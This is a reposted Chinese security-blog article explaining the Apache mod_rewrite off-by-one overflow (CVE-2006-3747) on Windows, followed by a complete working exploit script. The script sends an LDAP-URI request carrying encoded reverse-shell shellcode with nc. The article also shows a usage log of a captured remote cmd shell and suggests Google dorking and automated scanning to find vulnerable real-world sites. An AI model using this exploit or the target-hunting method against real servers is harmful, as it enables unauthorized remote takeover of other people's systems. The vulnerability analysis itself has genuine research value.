Vuln Review: Apache Mod_Rewrite Off-by-one Remote Exploit(Win32) 's

admin
admin
admin
140559
文章
117
评论
2017年5月2日16:45:16评论272 views字数 6364阅读21分12秒阅读模式
摘要

by axis
Date: 2007-04-07
http://www.ph4nt0m.org上次在irc里演示另外一个漏洞获得的cmd banner，结果被swan大牛误以为是这个漏洞，于是最近利用闲暇时间，跟了一下这个漏洞。
这个漏洞在windows上似乎非常通用，直接就跑去运行我的shellcode了，就是shellcode有些限制。

by axis
Date: 2007-04-07
http://www.ph4nt0m.org

上次在irc里演示另外一个漏洞获得的cmd banner，结果被swan大牛误以为是这个漏洞，于是最近利用闲暇时间，跟了一下这个漏洞。
这个漏洞在windows上似乎非常通用，直接就跑去运行我的shellcode了，就是shellcode有些限制。

不过该漏洞对于服务器的条件有些限制

* The RewriteRule allows the attacker to control the initial part of the rewritten URL (for example if the substitution URL starts with $1)
* The RewriteRule flags do NOT include any of the following flags: Forbidden (F), Gone (G), or NoEscape (NE).

具体可以参考

http://www.vuxml.org/freebsd/dc8c08c7-1e7c-11db-88cf-000c6ec775d9.html

同时该漏洞还受编译器的影响，因为是off by one。对于有些编译器，习惯性会在ebp后面填充一些字节，以达到对齐，比如gcc，所以redhat上默认是不受影响的。

但是该漏洞在win上是可以利用的。而且从我的效果来看，好象还是非常通用的。

判断是否存在漏洞可以有些方法，比如提交payload过去，webserver返回302，那么就不存在该漏洞。
如果对方返回400，那么很可能就是因为rewrite规则不符合条件，所以无法触发该漏洞。

shellcode有些badchar，需要过滤掉比如? /等特殊字符，我这里直接用了一个比较BT的shellcode，而且还alpha2 encoded了，省得麻烦。大家可以去metasploit生成。

payload前面那些填充字符，比如Ph4nt0m等，好象跟漏洞本身是无关的，数目也随意，具体没仔细跟。

出问题的代码是：

2696 /* escape absolute uri, which may or may not be path oriented.
2697 * So let's handle them differently.
2698 */
2699 static char *escape_absolute_uri(ap_pool *p, char *uri,
unsigned scheme)
2700 {
2701 char *cp;
2702 ...
...
2727 /* special thing for ldap.
2728 * The parts are separated by question marks. From RFC 2255:
2729 * ldapurl = scheme "://" [hostport] ["/"
2730 * [dn ["?" [attributes] ["?" [scope]
2731 * ["?" [filter] ["?" extensions]]]]]]
2732 */
2733 if (!strncasecmp(uri, "ldap", 4)) {
2734 char *token[5];
2735 int c = 0;
2736
2737 token[0] = cp = ap_pstrdup(p, cp);
2738 while (*cp && c < 5) {
2739 if (*cp == '?') {
2740 token[++c] = cp + 1;
2741 *cp = '/0';
2742 }
2743 ++cp;
2744 }

In the case that an LDAP URI contains a fifth '?' the line 2740 causes
an off-by-one overflow, it's writing in token[5].

具体可以参考
http://www.securityfocus.com/archive/1/archive/1/443870/100/0/threaded

可以利用google hacking来找有漏洞的站，因为用到mod_rewrite的，一般都是大站，比如把php伪装成htm或html，那么肯定用了mod_rewrite,那么可以直接google关键字
allinurl:"htm?id="
因为使用了动态调用的htm，肯定是伪装过了，类似的方法来找。然后可以写一个自动化的脚本，去判断这些网站哪些是apache (Win32)，这个在http头里会显示。

或者大家有其他更好的方法？

最后，附上我的exploit，请根据我注释里写的httpd.conf修改.

#!/bin/sh
# Exploit for Apache mod_rewrite off-by-one(Win32).
#
# by axis <[email protected]>
# http://www.ph4nt0m.org
# 2007-04-06
#
# Tested on Apache 2.0.58 (Win32)
# Windows2003 CN SP1
#
# Vulnerable Apache Versions:
# * 1.3 branch: >1.3.28 and <1.3.37
# * 2.0 branch: >2.0.46 and <2.0.59
# * 2.2 branch: >2.2.0 and <2.2.3
#
#
# Vulnerability discovered by Mark Dowd.
# CVE-2006-3747
#
# first POC by jack <jack/x40gulcas/x2Eorg>
# 2006-08-20
# http://www.milw0rm.com/exploits/2237
#
#
#
# to successfully exploit the vuln,there are some conditions
# http://www.vuxml.org/freebsd/dc8c08c7-1e7c-11db-88cf-000c6ec775d9.html
#
#
# some compilers added padding to the stack, so they could not be exploited,like gcc under redhat
#
# for more details about the vuln please see:
# http://www.securityfocus.com/archive/1/archive/1/443870/100/0/threaded
#
#
# no opcodes needed under windows!
# it will directly run our shellcode
#
# my apache config file
# [httpd.conf]:
# RewriteEngine on
# RewriteRule 1/(.*) $1
# RewriteLog "logs/rewrite.log"
# RewriteLogLevel 3
#
#
# Usage:
# [[email protected] xploits]$ sh mod_rewrite.sh 10.0.76.141
# mod_rewrite apache off-by-one overflow
#
# [[email protected] axis]$ nc -vv -n -l -p 1154
# listening on [any] 1154 ...
# connect to [x.x.x.111] from (UNKNOWN) [10.0.76.141] 4077
# Microsoft Windows [°?±? 5.2.3790]
# (C) °?è¨?ùóD 1985-2003 Microsoft Corp.
#
# D:/Apache/Apache2>exit
# exit
# sent 5, rcvd 100
#
#
#
# shellcode 的badchar，我这里用的，其实不需要那么多
# 我跟到两个badchar是 0x3f和 0x0b 其他都是以前生成shellcode习惯性保留的
# 0x00 0x3a 0x22 0x3b 0x7d 0x7b 0x3c 0x3e 0x5c 0x5d 0x3f 0x0b
#

echo -e "mod_rewrite apache off-by-one overflow"

if [ $# -ne 1 ] ; then
echo "Usage: $0 webserver"
exit
fi

host=$1

#use ldap:// to trigger the vuln, "Ph4nt0m" is any arbitrary string
echo -ne "GET /1/ldap://ph4nt0m/`perl -e 'print "Ph4nt0m"x5'`/
# %3f to trigger the vuln
%3fA%3fA%3f/
#string "CCCC.." is any arbitrary string, use %3f to trigger the vuln
#%90 is the machine code we will jmp to(NOP),run shellcode from here
`perl -e 'print "C"x10'`%3fC%3f%90/
# shellcode,reverse shell to 192.168.0.1 ,port 1154 alpha2 encoded
`perl -e 'print "/
/xeb/x03/x59/xeb/x05/xe8/xf8/xff/xff/xff/x49/x49/x49/x49/x49/x49/
/x49/x49/x49/x49/x49/x49/x49/x49/x49/x37/x49/x49/x51/x5a/x6a/x63/
/x58/x30/x42/x30/x50/x42/x6b/x42/x41/x73/x42/x32/x42/x41/x41/x32/
/x41/x41/x30/x41/x41/x58/x50/x38/x42/x42/x75/x69/x79/x79/x6c/x51/
/x7a/x6a/x4b/x50/x4d/x4d/x38/x6b/x49/x79/x6f/x49/x6f/x6b/x4f/x65/
/x30/x4c/x4b/x72/x4c/x45/x74/x51/x34/x4e/x6b/x71/x55/x77/x4c/x6c/
/x4b/x33/x4c/x64/x45/x33/x48/x64/x41/x5a/x4f/x4c/x4b/x72/x6f/x36/
/x78/x4c/x4b/x73/x6f/x45/x70/x66/x61/x4a/x4b/x53/x79/x4e/x6b/x44/
/x74/x4e/x6b/x73/x31/x38/x6e/x55/x61/x79/x50/x6c/x59/x6c/x6c/x4b/
/x34/x6f/x30/x74/x34/x34/x47/x59/x51/x5a/x6a/x76/x6d/x76/x61/x6f/
/x32/x5a/x4b/x79/x64/x55/x6b/x33/x64/x51/x34/x41/x38/x30/x75/x4b/
/x55/x6e/x6b/x33/x6f/x44/x64/x46/x61/x7a/x4b/x32/x46/x6e/x6b/x34/
/x4c/x42/x6b/x6e/x6b/x73/x6f/x77/x6c/x54/x41/x58/x6b/x43/x33/x74/
/x6c/x6c/x4b/x4d/x59/x50/x6c/x74/x64/x75/x4c/x52/x41/x6f/x33/x50/
/x31/x6b/x6b/x72/x44/x4c/x4b/x50/x43/x66/x50/x6c/x4b/x33/x70/x64/
/x4c/x6c/x4b/x74/x30/x65/x4c/x4e/x4d/x4e/x6b/x53/x70/x47/x78/x33/
/x6e/x51/x78/x4c/x4e/x52/x6e/x56/x6e/x58/x6c/x50/x50/x59/x6f/x79/
/x46/x70/x66/x62/x73/x75/x36/x75/x38/x66/x53/x64/x72/x42/x48/x53/
/x47/x32/x53/x50/x32/x71/x4f/x71/x44/x49/x6f/x48/x50/x52/x48/x5a/
/x6b/x48/x6d/x6b/x4c/x65/x6b/x70/x50/x4b/x4f/x68/x56/x61/x4f/x4e/
/x69/x4a/x45/x30/x66/x6e/x61/x78/x6d/x67/x78/x73/x32/x42/x75/x52/
/x4a/x75/x52/x6b/x4f/x7a/x70/x61/x78/x6b/x69/x55/x59/x6c/x35/x6e/
/x4d/x51/x47/x4b/x4f/x4e/x36/x70/x53/x50/x53/x56/x33/x76/x33/x43/
/x73/x32/x73/x31/x53/x52/x73/x6b/x4f/x4a/x70/x70/x68/x6f/x30/x6d/
/x78/x35/x50/x46/x61/x30/x66/x30/x68/x76/x64/x6c/x42/x33/x56/x70/
/x53/x4e/x69/x78/x61/x4c/x55/x75/x38/x4a/x4c/x58/x79/x4c/x6a/x73/
/x50/x53/x67/x6b/x4f/x6a/x76/x73/x5a/x72/x30/x73/x61/x53/x65/x4b/
/x4f/x6a/x70/x52/x46/x31/x7a/x52/x44/x73/x56/x50/x68/x51/x73/x50/
/x6d/x32/x4a/x62/x70/x51/x49/x47/x59/x6a/x6c/x6c/x49/x4b/x57/x42/
/x4a/x73/x74/x6d/x59/x6d/x32/x35/x61/x6f/x30/x48/x73/x4f/x5a/x6f/
/x65/x4c/x49/x39/x6d/x4b/x4e/x33/x72/x54/x6d/x6b/x4e/x33/x72/x34/
/x6c/x6c/x4d/x50/x7a/x57/x48/x4e/x4b/x4c/x6b/x6c/x6b/x71/x78/x32/
/x52/x6b/x4e/x6c/x73/x42/x36/x49/x6f/x73/x45/x65/x78/x6b/x4f/x6e/
/x36/x71/x4b/x42/x77/x43/x62/x53/x61/x76/x31/x70/x51/x30/x6a/x35/
/x51/x62/x71/x76/x31/x72/x75/x43/x61/x4b/x4f/x6e/x30/x73/x58/x4e/
/x4d/x7a/x79/x37/x75/x38/x4e/x31/x43/x4b/x4f/x4a/x76/x30/x6a/x39/
/x6f/x6b/x4f/x70/x37/x6b/x4f/x6e/x30/x45/x38/x39/x77/x54/x39/x79/
/x56/x71/x69/x79/x6f/x53/x45/x56/x64/x69/x6f/x69/x46/x6b/x4f/x62/
/x57/x6b/x4c/x4b/x4f/x6a/x70/x50/x68/x6a/x50/x6f/x7a/x37/x74/x43/
/x6f/x72/x73/x4b/x4f/x6a/x76/x79/x6f/x38/x50/x63/
"'`/
HTTP/1.0/r/n/
Host: $host/r/n/r/n" | nc -vv $host 80

免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2017年5月2日16:45:16
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出)：
                   Vuln Review: Apache Mod_Rewrite Off-by-one Remote Exploit(Win32) 'shttps://cn-sec.com/archives/49611.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉.

发表评论

匿名网友 填写信息